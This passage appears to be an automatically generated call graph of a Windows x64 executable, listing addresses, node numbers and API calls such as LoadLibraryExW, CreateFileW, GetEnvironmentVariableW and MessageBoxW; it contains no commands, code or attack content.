7ff6399bcfe8 16362->16366 16367 7ff6399bd0d2 TlsFree 16366->16367 16372 7ff6399bd02c __vcrt_InitializeCriticalSectionEx 16366->16372 16368 7ff6399bd05a LoadLibraryExW 16370 7ff6399bd0f9 16368->16370 16371 7ff6399bd07b GetLastError 16368->16371 16369 7ff6399bd119 GetProcAddress 16369->16367 16370->16369 16373 7ff6399bd110 FreeLibrary 16370->16373 16371->16372 16372->16367 16372->16368 16372->16369 16374 7ff6399bd09d LoadLibraryExW 16372->16374 16373->16369 16374->16370 16374->16372 16376 7ff6399ce790 16375->16376 16378 7ff6399ce836 16376->16378 16379 7ff6399ce7e3 16376->16379 16377 7ff6399c9b24 _invalid_parameter_noinfo 37 API calls 16381 7ff6399ce80c 16377->16381 16670 7ff6399ce668 16378->16670 16379->16377 16381->16230 16678 7ff6399bbb70 16382->16678 16385 7ff6399b3438 16680 7ff6399b85a0 FindFirstFileExW 16385->16680 16386 7ff6399b341b 16685 7ff6399b29e0 16386->16685 16390 7ff6399b34a5 16704 7ff6399b8760 16390->16704 16391 7ff6399b344b 16695 7ff6399b8620 CreateFileW 16391->16695 16393 7ff6399bb870 _log10_special 8 API calls 16396 7ff6399b34dd 16393->16396 16395 7ff6399b34b3 16400 7ff6399b342e 16395->16400 16402 7ff6399b26c0 49 API calls 16395->16402 16396->16321 16404 7ff6399b18f0 16396->16404 16398 7ff6399b3474 __vcrt_InitializeCriticalSectionEx 16398->16390 16399 7ff6399b345c 16698 7ff6399b26c0 16399->16698 16400->16393 16402->16400 16405 7ff6399b3f70 108 API calls 16404->16405 16406 7ff6399b1925 16405->16406 16407 7ff6399b76a0 83 API calls 16406->16407 16414 7ff6399b1bb6 16406->16414 16410 7ff6399b196b 16407->16410 16408 7ff6399bb870 _log10_special 8 API calls 16409 7ff6399b1bd1 16408->16409 16409->16237 16409->16238 16443 7ff6399b199c 16410->16443 17068 7ff6399bf9f4 16410->17068 16412 7ff6399bf36c 74 API calls 16412->16414 16413 7ff6399b1985 16415 7ff6399b19a1 16413->16415 16416 7ff6399b1989 16413->16416 16414->16408 17072 7ff6399bf6bc 16415->17072 17075 7ff6399b2760 16416->17075 16420 7ff6399b19bf 16422 7ff6399b2760 53 API calls 16420->16422 16421 7ff6399b19d7 16423 7ff6399b19ee 16421->16423 16424 7ff6399b1a06 16421->16424 16422->16443 16425 7ff6399b2760 53 API calls 16423->16425 16426 7ff6399b1bf0 49 API calls 16424->16426 16425->16443 16427 7ff6399b1a1d 16426->16427 16428 7ff6399b1bf0 49 API calls 16427->16428 16429 7ff6399b1a68 16428->16429 16430 7ff6399bf9f4 73 API calls 16429->16430 16431 7ff6399b1a8c 16430->16431 16432 7ff6399b1aa1 16431->16432 16433 7ff6399b1ab9 16431->16433 16434 7ff6399b2760 53 API calls 16432->16434 16435 7ff6399bf6bc _fread_nolock 53 API calls 16433->16435 16434->16443 16436 7ff6399b1ace 16435->16436 16437 7ff6399b1ad4 16436->16437 16438 7ff6399b1aec 16436->16438 16439 7ff6399b2760 53 API calls 16437->16439 17092 7ff6399bf430 16438->17092 16439->16443 16442 7ff6399b25f0 53 API calls 16442->16443 16443->16412 16445 7ff6399b7e1a 16444->16445 16446 7ff6399b86b0 2 API calls 16445->16446 16447 7ff6399b7e39 GetEnvironmentVariableW 16446->16447 16448 7ff6399b7ea2 16447->16448 16449 7ff6399b7e56 ExpandEnvironmentStringsW 16447->16449 16451 7ff6399bb870 _log10_special 8 API calls 16448->16451 16449->16448 16450 7ff6399b7e78 16449->16450 16452 7ff6399b8760 2 API calls 16450->16452 16453 7ff6399b7eb4 16451->16453 16454 7ff6399b7e8a 16452->16454 16453->16247 16455 7ff6399bb870 _log10_special 8 API calls 16454->16455 16456 7ff6399b7e9a 16455->16456 16456->16247 16458 7ff6399b86b0 2 API calls 16457->16458 16459 7ff6399b7f94 16458->16459 17301 7ff6399c7548 16459->17301 16461 7ff6399b7fa6 __vcrt_freefls 16461->16263 16463 7ff6399b1c15 16462->16463 16464 7ff6399c3ca4 49 API calls 16463->16464 16465 7ff6399b1c38 16464->16465 16465->16280 16465->16281 16467 7ff6399b8415 16466->16467 17319 7ff6399b7b50 GetCurrentProcess OpenProcessToken 16467->17319 16470 7ff6399b7b50 7 API calls 16471 7ff6399b8441 16470->16471 16472 7ff6399b8474 16471->16472 16473 7ff6399b845a 16471->16473 16475 7ff6399b2590 48 API calls 16472->16475 16474 7ff6399b2590 48 API calls 16473->16474 16476 7ff6399b8472 16474->16476 16477 7ff6399b8487 LocalFree LocalFree 16475->16477 16476->16477 16518 7ff6399b86f6 16517->16518 16519 7ff6399b86d2 MultiByteToWideChar 16517->16519 16520 7ff6399b8713 MultiByteToWideChar 16518->16520 16521 7ff6399b870c __vcrt_freefls 16518->16521 16519->16518 16519->16521 16520->16521 16521->16272 16523 7ff6399b6575 16522->16523 16524 7ff6399b2760 53 API calls 16523->16524 16525 7ff6399b38d5 16523->16525 16524->16525 16526 7ff6399b6b00 16525->16526 16527 7ff6399b6b30 16526->16527 16540 7ff6399b6b4a __vcrt_freefls 16526->16540 16527->16540 17513 7ff6399b1440 16527->17513 16529 7ff6399b6b54 16530 7ff6399b3fe0 49 API calls 16529->16530 16529->16540 16531 7ff6399b6b76 16530->16531 16532 7ff6399b6b7b 16531->16532 16533 7ff6399b3fe0 49 API calls 16531->16533 16534 7ff6399b2870 53 API calls 16532->16534 16535 7ff6399b6b9a 16533->16535 16534->16540 16535->16532 16536 7ff6399b3fe0 49 API calls 16535->16536 16540->16289 16554 7ff6399b30ee memcpy_s 16542->16554 16543 7ff6399bb870 _log10_special 8 API calls 16544 7ff6399b338e 16543->16544 16544->16321 16561 7ff6399b83e0 LocalFree 16544->16561 16545 7ff6399b32e7 16545->16543 16547 7ff6399b1bf0 49 API calls 16547->16554 16548 7ff6399b3309 16550 7ff6399b25f0 53 API calls 16548->16550 16550->16545 16553 7ff6399b32e9 16556 7ff6399b25f0 53 API calls 16553->16556 16554->16545 16554->16547 16554->16548 16554->16553 16555 7ff6399b2870 53 API calls 16554->16555 16559 7ff6399b32f7 16554->16559 17574 7ff6399b3f10 16554->17574 17580 7ff6399b7530 16554->17580 17592 7ff6399b15c0 16554->17592 17630 7ff6399b68e0 16554->17630 17634 7ff6399b3b40 16554->17634 17678 7ff6399b3e00 16554->17678 16555->16554 16556->16545 16560 7ff6399b25f0 53 API calls 16559->16560 16560->16545 16563 7ff6399b262a 16562->16563 16564 7ff6399c3ca4 49 API calls 16563->16564 16565 7ff6399b2652 16564->16565 16574 7ff6399b3f7c 16573->16574 16575 7ff6399b86b0 2 API calls 16574->16575 16576 7ff6399b3fa4 16575->16576 16577 7ff6399b86b0 2 API calls 16576->16577 16578 7ff6399b3fb7 16577->16578 17798 7ff6399c52a4 16578->17798 16581 7ff6399bb870 _log10_special 8 API calls 16582 7ff6399b3746 16581->16582 16582->16242 16583 7ff6399b76a0 16582->16583 16584 7ff6399b76c4 16583->16584 16585 7ff6399b779b __vcrt_freefls 16584->16585 16586 7ff6399bf9f4 73 API calls 16584->16586 16585->16246 16587 7ff6399b76e0 16586->16587 16587->16585 18190 7ff6399c6bd8 16587->18190 16589 7ff6399b76f5 16589->16585 16590 7ff6399bf9f4 73 API calls 16589->16590 16591 7ff6399bf6bc _fread_nolock 53 API calls 16589->16591 16590->16589 16591->16589 16593 7ff6399bf39c 16592->16593 18205 7ff6399bf148 16593->18205 16595 7ff6399bf3b5 16595->16242 16597 7ff6399b1bf0 49 API calls 16596->16597 16598 7ff6399b3ead 16597->16598 16598->16258 16600 7ff6399b1bf0 49 API calls 16599->16600 16601 7ff6399b4010 16600->16601 16601->16280 16620 7ff6399b65bc 16602->16620 16603 7ff6399b66df 16604 7ff6399bb870 _log10_special 8 API calls 16603->16604 16605 7ff6399b66f1 16604->16605 16605->16293 16606 7ff6399b17e0 45 API calls 16606->16620 16607 7ff6399b675d 16609 7ff6399b25f0 53 API calls 16607->16609 16608 7ff6399b1bf0 49 API calls 16608->16620 16609->16603 16610 7ff6399b674a 16612 7ff6399b25f0 53 API calls 16610->16612 16611 7ff6399b3f10 10 API calls 16611->16620 16612->16603 16613 7ff6399b670d 16615 7ff6399b25f0 53 API calls 16613->16615 16614 7ff6399b7530 52 API calls 16614->16620 16615->16603 16616 7ff6399b2870 53 API calls 16616->16620 16617 7ff6399b6737 16618 7ff6399b25f0 53 API calls 16617->16618 16618->16603 16619 7ff6399b15c0 118 API calls 16619->16620 16620->16603 16620->16606 16620->16607 16620->16608 16620->16610 16620->16611 16620->16613 16620->16614 16620->16616 16620->16617 16620->16619 16621 7ff6399b6720 16620->16621 16622 7ff6399b25f0 53 API calls 16621->16622 16622->16603 18216 7ff6399b81a0 16623->18216 16625 7ff6399b6989 16626 7ff6399b81a0 3 API calls 16625->16626 16627 7ff6399b699c 16626->16627 16628 7ff6399b69cf 16627->16628 16630 7ff6399b69b4 16627->16630 16640 7ff6399b28aa 16639->16640 16641 7ff6399c3ca4 49 API calls 16640->16641 16642 7ff6399b28d2 16641->16642 16643 7ff6399b86b0 2 API calls 16642->16643 16644 7ff6399b28ea 16643->16644 16645 7ff6399b290e MessageBoxA 16644->16645 16646 7ff6399b28f7 MessageBoxW 16644->16646 16647 7ff6399b2920 16645->16647 16646->16647 16648 7ff6399bb870 _log10_special 8 API calls 16647->16648 18285 7ff6399b5af0 16657->18285 16660 7ff6399b30b9 16666 7ff6399b33a0 16660->16666 16667 7ff6399b33ae 16666->16667 16668 7ff6399b33bf 16667->16668 18573 7ff6399b8180 FreeLibrary 16667->18573 16677 7ff6399c477c EnterCriticalSection 16670->16677 16679 7ff6399b33ec GetModuleFileNameW 16678->16679 16679->16385 16679->16386 16681 7ff6399b85df FindClose 16680->16681 16682 7ff6399b85f2 16680->16682 16681->16682 16683 7ff6399bb870 _log10_special 8 API calls 16682->16683 16684 7ff6399b3442 16683->16684 16684->16390 16684->16391 16686 7ff6399bbb70 16685->16686 16687 7ff6399b29fc GetLastError 16686->16687 16688 7ff6399b2a29 16687->16688 16709 7ff6399c3ef8 16688->16709 16693 7ff6399bb870 _log10_special 8 API calls 16694 7ff6399b2ae5 16693->16694 16694->16400 16696 7ff6399b8660 GetFinalPathNameByHandleW CloseHandle 16695->16696 16697 7ff6399b3458 16695->16697 16696->16697 16697->16398 16697->16399 16699 7ff6399b26fa 16698->16699 16700 7ff6399c3ef8 48 API calls 16699->16700 16701 7ff6399b2722 MessageBoxW 16700->16701 16702 7ff6399bb870 _log10_special 8 API calls 16701->16702 16703 7ff6399b274c 16702->16703 16703->16400 16705 7ff6399b878a WideCharToMultiByte 16704->16705 16706 7ff6399b87b5 16704->16706 16705->16706 16707 7ff6399b87cb __vcrt_freefls 16705->16707 16706->16707 16708 7ff6399b87d2 WideCharToMultiByte 16706->16708 16707->16395 16708->16707 16710 7ff6399c3f52 16709->16710 16711 7ff6399c3f77 16710->16711 16713 7ff6399c3fb3 16710->16713 16712 7ff6399c9b24 _invalid_parameter_noinfo 37 API calls 16711->16712 16715 7ff6399c3fa1 16712->16715 16731 7ff6399c22b0 16713->16731 16716 7ff6399bb870 _log10_special 8 API calls 16715->16716 16718 7ff6399b2a54 FormatMessageW 16716->16718 16717 7ff6399c9c58 __free_lconv_mon 11 API calls 16717->16715 16727 7ff6399b2590 16718->16727 16720 7ff6399c4094 16720->16717 16721 7ff6399c4069 16725 7ff6399c9c58 __free_lconv_mon 11 API calls 16721->16725 16722 7ff6399c40ba 16722->16720 16724 7ff6399c40c4 16722->16724 16723 7ff6399c4060 16723->16720 16723->16721 16726 7ff6399c9c58 __free_lconv_mon 11 API calls 16724->16726 16725->16715 16726->16715 16728 7ff6399b25b5 16727->16728 16729 7ff6399c3ef8 48 API calls 16728->16729 16730 7ff6399b25d8 MessageBoxW 16729->16730 16730->16693 16732 7ff6399c22ee 16731->16732 16733 7ff6399c22de 16731->16733 16734 7ff6399c22f7 16732->16734 16738 7ff6399c2325 16732->16738 16735 7ff6399c9b24 _invalid_parameter_noinfo 37 API calls 16733->16735 16736 7ff6399c9b24 _invalid_parameter_noinfo 37 API calls 16734->16736 16737 7ff6399c231d 16735->16737 16736->16737 16737->16720 16737->16721 16737->16722 16737->16723 16738->16733 16738->16737 16742 7ff6399c2cc4 16738->16742 16775 7ff6399c2710 16738->16775 16812 7ff6399c1ea0 16738->16812 16743 7ff6399c2d77 16742->16743 16744 7ff6399c2d06 16742->16744 16747 7ff6399c2dd0 16743->16747 16748 7ff6399c2d7c 16743->16748 16745 7ff6399c2da1 16744->16745 16746 7ff6399c2d0c 16744->16746 16835 7ff6399c1074 16745->16835 16749 7ff6399c2d11 16746->16749 16750 7ff6399c2d40 16746->16750 16754 7ff6399c2de7 16747->16754 16756 7ff6399c2dda 16747->16756 16760 7ff6399c2ddf 16747->16760 16751 7ff6399c2db1 16748->16751 16752 7ff6399c2d7e 16748->16752 16749->16754 16757 7ff6399c2d17 16749->16757 16750->16757 16750->16760 16842 7ff6399c0c64 16751->16842 16755 7ff6399c2d20 16752->16755 16764 7ff6399c2d8d 16752->16764 16849 7ff6399c39cc 16754->16849 16773 7ff6399c2e10 16755->16773 16815 7ff6399c3478 16755->16815 16756->16745 16756->16760 16757->16755 16763 7ff6399c2d52 16757->16763 16769 7ff6399c2d3b 16757->16769 16760->16773 16853 7ff6399c1484 16760->16853 16763->16773 16825 7ff6399c37b4 16763->16825 16764->16745 16766 7ff6399c2d92 16764->16766 16766->16773 16831 7ff6399c3878 16766->16831 16767 7ff6399bb870 _log10_special 8 API calls 16768 7ff6399c310a 16767->16768 16768->16738 16769->16773 16774 7ff6399c2ffc 16769->16774 16860 7ff6399c3ae0 16769->16860 16773->16767 16774->16773 16866 7ff6399cdd18 16774->16866 16776 7ff6399c271e 16775->16776 16777 7ff6399c2734 16775->16777 16778 7ff6399c2d77 16776->16778 16779 7ff6399c2d06 16776->16779 16781 7ff6399c2774 16776->16781 16780 7ff6399c9b24 _invalid_parameter_noinfo 37 API calls 16777->16780 16777->16781 16784 7ff6399c2dd0 16778->16784 16785 7ff6399c2d7c 16778->16785 16782 7ff6399c2da1 16779->16782 16783 7ff6399c2d0c 16779->16783 16780->16781 16781->16738 16790 7ff6399c1074 38 API calls 16782->16790 16786 7ff6399c2d11 16783->16786 16787 7ff6399c2d40 16783->16787 16791 7ff6399c2de7 16784->16791 16793 7ff6399c2dda 16784->16793 16797 7ff6399c2ddf 16784->16797 16788 7ff6399c2db1 16785->16788 16789 7ff6399c2d7e 16785->16789 16786->16791 16794 7ff6399c2d17 16786->16794 16787->16794 16787->16797 16795 7ff6399c0c64 38 API calls 16788->16795 16792 7ff6399c2d20 16789->16792 16801 7ff6399c2d8d 16789->16801 16808 7ff6399c2d3b 16790->16808 16798 7ff6399c39cc 45 API calls 16791->16798 16796 7ff6399c3478 47 API calls 16792->16796 16811 7ff6399c2e10 16792->16811 16793->16782 16793->16797 16794->16792 16799 7ff6399c2d52 16794->16799 16794->16808 16795->16808 16796->16808 16800 7ff6399c1484 38 API calls 16797->16800 16797->16811 16798->16808 16802 7ff6399c37b4 46 API calls 16799->16802 16799->16811 16800->16808 16801->16782 16803 7ff6399c2d92 16801->16803 16802->16808 16806 7ff6399c3878 37 API calls 16803->16806 16803->16811 16804 7ff6399bb870 _log10_special 8 API calls 16805 7ff6399c310a 16804->16805 16805->16738 16806->16808 16807 7ff6399c3ae0 45 API calls 16810 7ff6399c2ffc 16807->16810 16808->16807 16808->16810 16808->16811 16809 7ff6399cdd18 46 API calls 16809->16810 16810->16809 16810->16811 16811->16804 17051 7ff6399c02e8 16812->17051 16816 7ff6399c349e 16815->16816 16878 7ff6399bfea0 16816->16878 16820 7ff6399c35e3 16822 7ff6399c3671 16820->16822 16824 7ff6399c3ae0 45 API calls 16820->16824 16822->16769 16823 7ff6399c3ae0 45 API calls 16823->16820 16824->16822 16826 7ff6399c37e9 16825->16826 16827 7ff6399c3807 16826->16827 16828 7ff6399c3ae0 45 API calls 16826->16828 16830 7ff6399c382e 16826->16830 16829 7ff6399cdd18 46 API calls 16827->16829 16828->16827 16829->16830 16830->16769 16834 7ff6399c3899 16831->16834 16832 7ff6399c9b24 _invalid_parameter_noinfo 37 API calls 16833 7ff6399c38ca 16832->16833 16833->16769 16834->16832 16834->16833 16836 7ff6399c10a7 16835->16836 16837 7ff6399c10d6 16836->16837 16839 7ff6399c1193 16836->16839 16841 7ff6399c1113 16837->16841 17021 7ff6399bff48 16837->17021 16840 7ff6399c9b24 _invalid_parameter_noinfo 37 API calls 16839->16840 16840->16841 16841->16769 16843 7ff6399c0c97 16842->16843 16844 7ff6399c0cc6 16843->16844 16846 7ff6399c0d83 16843->16846 16845 7ff6399bff48 12 API calls 16844->16845 16848 7ff6399c0d03 16844->16848 16845->16848 16847 7ff6399c9b24 _invalid_parameter_noinfo 37 API calls 16846->16847 16847->16848 16848->16769 16850 7ff6399c3a0f 16849->16850 16852 7ff6399c3a13 __crtLCMapStringW 16850->16852 17029 7ff6399c3a68 16850->17029 16852->16769 16854 7ff6399c14b7 16853->16854 16855 7ff6399c14e6 16854->16855 16857 7ff6399c15a3 16854->16857 16856 7ff6399bff48 12 API calls 16855->16856 16859 7ff6399c1523 16855->16859 16856->16859 16858 7ff6399c9b24 _invalid_parameter_noinfo 37 API calls 16857->16858 16858->16859 16859->16769 16861 7ff6399c3af7 16860->16861 17033 7ff6399cccc8 16861->17033 16867 7ff6399cdd49 16866->16867 16876 7ff6399cdd57 16866->16876 16868 7ff6399cdd77 16867->16868 16871 7ff6399c3ae0 45 API calls 16867->16871 16867->16876 16869 7ff6399cddaf 16868->16869 16870 7ff6399cdd88 16868->16870 16873 7ff6399cde3a 16869->16873 16874 7ff6399cddd9 16869->16874 16869->16876 17041 7ff6399cf3b0 16870->17041 16871->16868 16875 7ff6399cebb0 _fread_nolock MultiByteToWideChar 16873->16875 16874->16876 17044 7ff6399cebb0 16874->17044 16875->16876 16876->16774 16879 7ff6399bfed7 16878->16879 16885 7ff6399bfec6 16878->16885 16879->16885 16908 7ff6399cc90c 16879->16908 16882 7ff6399c9c58 __free_lconv_mon 11 API calls 16884 7ff6399bff18 16882->16884 16883 7ff6399c9c58 __free_lconv_mon 11 API calls 16883->16885 16884->16883 16886 7ff6399cd880 16885->16886 16887 7ff6399cd8d0 16886->16887 16888 7ff6399cd89d 16886->16888 16887->16888 16891 7ff6399cd902 16887->16891 16889 7ff6399c9b24 _invalid_parameter_noinfo 37 API calls 16888->16889 16899 7ff6399c35c1 16889->16899 16890 7ff6399cda15 16892 7ff6399cdb07 16890->16892 16894 7ff6399cdacd 16890->16894 16896 7ff6399cda9c 16890->16896 16898 7ff6399cda5f 16890->16898 16901 7ff6399cda55 16890->16901 16891->16890 16903 7ff6399cd94a 16891->16903 16948 7ff6399ccd6c 16892->16948 16941 7ff6399cd104 16894->16941 16934 7ff6399cd3e4 16896->16934 16924 7ff6399cd614 16898->16924 16899->16820 16899->16823 16901->16894 16902 7ff6399cda5a 16901->16902 16902->16896 16902->16898 16903->16899 16915 7ff6399c97b4 16903->16915 16906 7ff6399c9c10 _isindst 17 API calls 16907 7ff6399cdb64 16906->16907 16909 7ff6399cc91b memcpy_s 16908->16909 16910 7ff6399cc957 16908->16910 16909->16910 16912 7ff6399cc93e HeapAlloc 16909->16912 16914 7ff6399d28a0 memcpy_s 2 API calls 16909->16914 16911 7ff6399c43f4 memcpy_s 11 API calls 16910->16911 16913 7ff6399bff04 16911->16913 16912->16909 16912->16913 16913->16882 16913->16884 16914->16909 16916 7ff6399c97c1 16915->16916 16917 7ff6399c97cb 16915->16917 16916->16917 16921 7ff6399c97e6 16916->16921 16918 7ff6399c43f4 memcpy_s 11 API calls 16917->16918 16923 7ff6399c97d2 16918->16923 16919 7ff6399c9bf0 _invalid_parameter_noinfo 37 API calls 16920 7ff6399c97de 16919->16920 16920->16899 16920->16906 16921->16920 16922 7ff6399c43f4 memcpy_s 11 API calls 16921->16922 16922->16923 16923->16919 16957 7ff6399d33bc 16924->16957 16928 7ff6399cd6bc 16929 7ff6399cd711 16928->16929 16930 7ff6399cd6dc 16928->16930 16933 7ff6399cd6c0 16928->16933 17010 7ff6399cd200 16929->17010 17006 7ff6399cd4bc 16930->17006 16933->16899 16935 7ff6399d33bc 38 API calls 16934->16935 16936 7ff6399cd42e 16935->16936 16937 7ff6399d2e04 37 API calls 16936->16937 16938 7ff6399cd47e 16937->16938 16939 7ff6399cd482 16938->16939 16940 7ff6399cd4bc 45 API calls 16938->16940 16939->16899 16940->16939 16942 7ff6399d33bc 38 API calls 16941->16942 16943 7ff6399cd14f 16942->16943 16944 7ff6399d2e04 37 API calls 16943->16944 16945 7ff6399cd1a7 16944->16945 16946 7ff6399cd1ab 16945->16946 16947 7ff6399cd200 45 API calls 16945->16947 16946->16899 16947->16946 16949 7ff6399ccde4 16948->16949 16950 7ff6399ccdb1 16948->16950 16952 7ff6399ccdfc 16949->16952 16954 7ff6399cce7d 16949->16954 16951 7ff6399c9b24 _invalid_parameter_noinfo 37 API calls 16950->16951 16956 7ff6399ccddd memcpy_s 16951->16956 16953 7ff6399cd104 46 API calls 16952->16953 16953->16956 16955 7ff6399c3ae0 45 API calls 16954->16955 16954->16956 16955->16956 16956->16899 16958 7ff6399d340f fegetenv 16957->16958 16959 7ff6399d713c 37 API calls 16958->16959 16962 7ff6399d3462 16959->16962 16960 7ff6399d3552 16963 7ff6399d713c 37 API calls 16960->16963 16961 7ff6399d348f 16965 7ff6399c97b4 __std_exception_copy 37 API calls 16961->16965 16962->16960 16966 7ff6399d352c 16962->16966 16967 7ff6399d347d 16962->16967 16964 7ff6399d357c 16963->16964 16968 7ff6399d713c 37 API calls 16964->16968 16969 7ff6399d350d 16965->16969 16971 7ff6399c97b4 __std_exception_copy 37 API calls 16966->16971 16967->16960 16967->16961 16972 7ff6399d358d 16968->16972 16970 7ff6399d4634 16969->16970 16977 7ff6399d3515 16969->16977 16973 7ff6399c9c10 _isindst 17 API calls 16970->16973 16971->16969 16974 7ff6399d7330 20 API calls 16972->16974 16975 7ff6399d4649 16973->16975 16985 7ff6399d35f6 memcpy_s 16974->16985 16976 7ff6399bb870 _log10_special 8 API calls 16978 7ff6399cd661 16976->16978 16977->16976 17002 7ff6399d2e04 16978->17002 16979 7ff6399d399f memcpy_s 16980 7ff6399d3cdf 16981 7ff6399d2f20 37 API calls 16980->16981 16988 7ff6399d43f7 16981->16988 16982 7ff6399d3c8b 16982->16980 16984 7ff6399d464c memcpy_s 37 API calls 16982->16984 16983 7ff6399d3637 memcpy_s 16996 7ff6399d3f7b memcpy_s 16983->16996 17001 7ff6399d3a93 memcpy_s 16983->17001 16984->16980 16985->16979 16985->16983 16986 7ff6399c43f4 memcpy_s 11 API calls 16985->16986 16987 7ff6399d3a70 16986->16987 16989 7ff6399c9bf0 _invalid_parameter_noinfo 37 API calls 16987->16989 16991 7ff6399d464c memcpy_s 37 API calls 16988->16991 16994 7ff6399d4452 16988->16994 16989->16983 16990 7ff6399d45d8 16992 7ff6399d713c 37 API calls 16990->16992 16991->16994 16992->16977 16993 7ff6399c43f4 11 API calls memcpy_s 16993->17001 16994->16990 16997 7ff6399d2f20 37 API calls 16994->16997 17000 7ff6399d464c memcpy_s 37 API calls 16994->17000 16995 7ff6399c43f4 11 API calls memcpy_s 16995->16996 16996->16980 16996->16982 16996->16995 16998 7ff6399c9bf0 37 API calls _invalid_parameter_noinfo 16996->16998 16997->16994 16998->16996 16999 7ff6399c9bf0 37 API calls _invalid_parameter_noinfo 16999->17001 17000->16994 17001->16982 17001->16993 17001->16999 17003 7ff6399d2e23 17002->17003 17004 7ff6399c9b24 _invalid_parameter_noinfo 37 API calls 17003->17004 17005 7ff6399d2e4e memcpy_s 17003->17005 17004->17005 17005->16928 17007 7ff6399cd4e8 memcpy_s 17006->17007 17008 7ff6399c3ae0 45 API calls 17007->17008 17009 7ff6399cd5a2 memcpy_s 17007->17009 17008->17009 17009->16933 17011 7ff6399cd23b 17010->17011 17014 7ff6399cd288 memcpy_s 17010->17014 17012 7ff6399c9b24 _invalid_parameter_noinfo 37 API calls 17011->17012 17013 7ff6399cd267 17012->17013 17013->16933 17015 7ff6399cd2f3 17014->17015 17017 7ff6399c3ae0 45 API calls 17014->17017 17016 7ff6399c97b4 __std_exception_copy 37 API calls 17015->17016 17020 7ff6399cd335 memcpy_s 17016->17020 17017->17015 17018 7ff6399c9c10 _isindst 17 API calls 17019 7ff6399cd3e0 17018->17019 17020->17018 17022 7ff6399bff7f 17021->17022 17028 7ff6399bff6e 17021->17028 17023 7ff6399cc90c _fread_nolock 12 API calls 17022->17023 17022->17028 17024 7ff6399bffb0 17023->17024 17025 7ff6399bffc4 17024->17025 17026 7ff6399c9c58 __free_lconv_mon 11 API calls 17024->17026 17027 7ff6399c9c58 __free_lconv_mon 11 API calls 17025->17027 17026->17025 17027->17028 17028->16841 17030 7ff6399c3a86 17029->17030 17032 7ff6399c3a8e 17029->17032 17031 7ff6399c3ae0 45 API calls 17030->17031 17031->17032 17032->16852 17034 7ff6399ccce1 17033->17034 17035 7ff6399c3b1f 17033->17035 17034->17035 17036 7ff6399d2614 45 API calls 17034->17036 17037 7ff6399ccd34 17035->17037 17036->17035 17038 7ff6399ccd4d 17037->17038 17040 7ff6399c3b2f 17037->17040 17039 7ff6399d1960 45 API calls 17038->17039 17038->17040 17039->17040 17040->16774 17047 7ff6399d6098 17041->17047 17046 7ff6399cebb9 MultiByteToWideChar 17044->17046 17048 7ff6399d60fc 17047->17048 17049 7ff6399bb870 _log10_special 8 API calls 17048->17049 17050 7ff6399cf3cd 17049->17050 17050->16876 17052 7ff6399c032f 17051->17052 17053 7ff6399c031d 17051->17053 17055 7ff6399c033d 17052->17055 17059 7ff6399c0379 17052->17059 17054 7ff6399c43f4 memcpy_s 11 API calls 17053->17054 17056 7ff6399c0322 17054->17056 17057 7ff6399c9b24 _invalid_parameter_noinfo 37 API calls 17055->17057 17058 7ff6399c9bf0 _invalid_parameter_noinfo 37 API calls 17056->17058 17064 7ff6399c032d 17057->17064 17058->17064 17060 7ff6399c06f5 17059->17060 17062 7ff6399c43f4 memcpy_s 11 API calls 17059->17062 17061 7ff6399c43f4 memcpy_s 11 API calls 17060->17061 17060->17064 17065 7ff6399c0989 17061->17065 17063 7ff6399c06ea 17062->17063 17066 7ff6399c9bf0 _invalid_parameter_noinfo 37 API calls 17063->17066 17064->16738 17067 7ff6399c9bf0 _invalid_parameter_noinfo 37 API calls 17065->17067 17066->17060 17067->17064 17069 7ff6399bfa24 17068->17069 17098 7ff6399bf784 17069->17098 17071 7ff6399bfa3d 17071->16413 17110 7ff6399bf6dc 17072->17110 17076 7ff6399b277c 17075->17076 17077 7ff6399c43f4 memcpy_s 11 API calls 17076->17077 17078 7ff6399b2799 17077->17078 17124 7ff6399c3ca4 17078->17124 17083 7ff6399b1bf0 49 API calls 17084 7ff6399b2807 17083->17084 17085 7ff6399b86b0 2 API calls 17084->17085 17086 7ff6399b281f 17085->17086 17087 7ff6399b2843 MessageBoxA 17086->17087 17088 7ff6399b282c MessageBoxW 17086->17088 17089 7ff6399b2855 17087->17089 17088->17089 17090 7ff6399bb870 _log10_special 8 API calls 17089->17090 17091 7ff6399b2865 17090->17091 17091->16443 17093 7ff6399bf439 17092->17093 17097 7ff6399b1b06 17092->17097 17094 7ff6399c43f4 memcpy_s 11 API calls 17093->17094 17095 7ff6399bf43e 17094->17095 17096 7ff6399c9bf0 _invalid_parameter_noinfo 37 API calls 17095->17096 17096->17097 17097->16442 17097->16443 17099 7ff6399bf7ee 17098->17099 17100 7ff6399bf7ae 17098->17100 17099->17100 17102 7ff6399bf7fa 17099->17102 17101 7ff6399c9b24 _invalid_parameter_noinfo 37 API calls 17100->17101 17103 7ff6399bf7d5 17101->17103 17109 7ff6399c477c EnterCriticalSection 17102->17109 17103->17071 17111 7ff6399bf706 17110->17111 17122 7ff6399b19b9 17110->17122 17112 7ff6399bf715 memcpy_s 17111->17112 17113 7ff6399bf752 17111->17113 17111->17122 17115 7ff6399c43f4 memcpy_s 11 API calls 17112->17115 17123 7ff6399c477c EnterCriticalSection 17113->17123 17118 7ff6399bf72a 17115->17118 17120 7ff6399c9bf0 _invalid_parameter_noinfo 37 API calls 17118->17120 17120->17122 17122->16420 17122->16421 17125 7ff6399c3cfe 17124->17125 17126 7ff6399c3d23 17125->17126 17127 7ff6399c3d5f 17125->17127 17128 7ff6399c9b24 _invalid_parameter_noinfo 37 API calls 17126->17128 17154 7ff6399c1f30 17127->17154 17130 7ff6399c3d4d 17128->17130 17133 7ff6399bb870 _log10_special 8 API calls 17130->17133 17132 7ff6399c9c58 __free_lconv_mon 11 API calls 17132->17130 17135 7ff6399b27d8 17133->17135 17134 7ff6399c3e08 17136 7ff6399c3e3c 17134->17136 17137 7ff6399c3e11 17134->17137 17142 7ff6399c4480 17135->17142 17136->17132 17140 7ff6399c9c58 __free_lconv_mon 11 API calls 17137->17140 17138 7ff6399c3e60 17138->17136 17139 7ff6399c3e6a 17138->17139 17141 7ff6399c9c58 __free_lconv_mon 11 API calls 17139->17141 17140->17130 17141->17130 17143 7ff6399ca5d8 memcpy_s 11 API calls 17142->17143 17144 7ff6399c4497 17143->17144 17145 7ff6399b27df 17144->17145 17146 7ff6399cdea8 memcpy_s 11 API calls 17144->17146 17148 7ff6399c44d7 17144->17148 17145->17083 17147 7ff6399c44cc 17146->17147 17149 7ff6399c9c58 __free_lconv_mon 11 API calls 17147->17149 17148->17145 17292 7ff6399cdf30 17148->17292 17149->17148 17152 7ff6399c9c10 _isindst 17 API calls 17153 7ff6399c451c 17152->17153 17155 7ff6399c1f6e 17154->17155 17156 7ff6399c1f5e 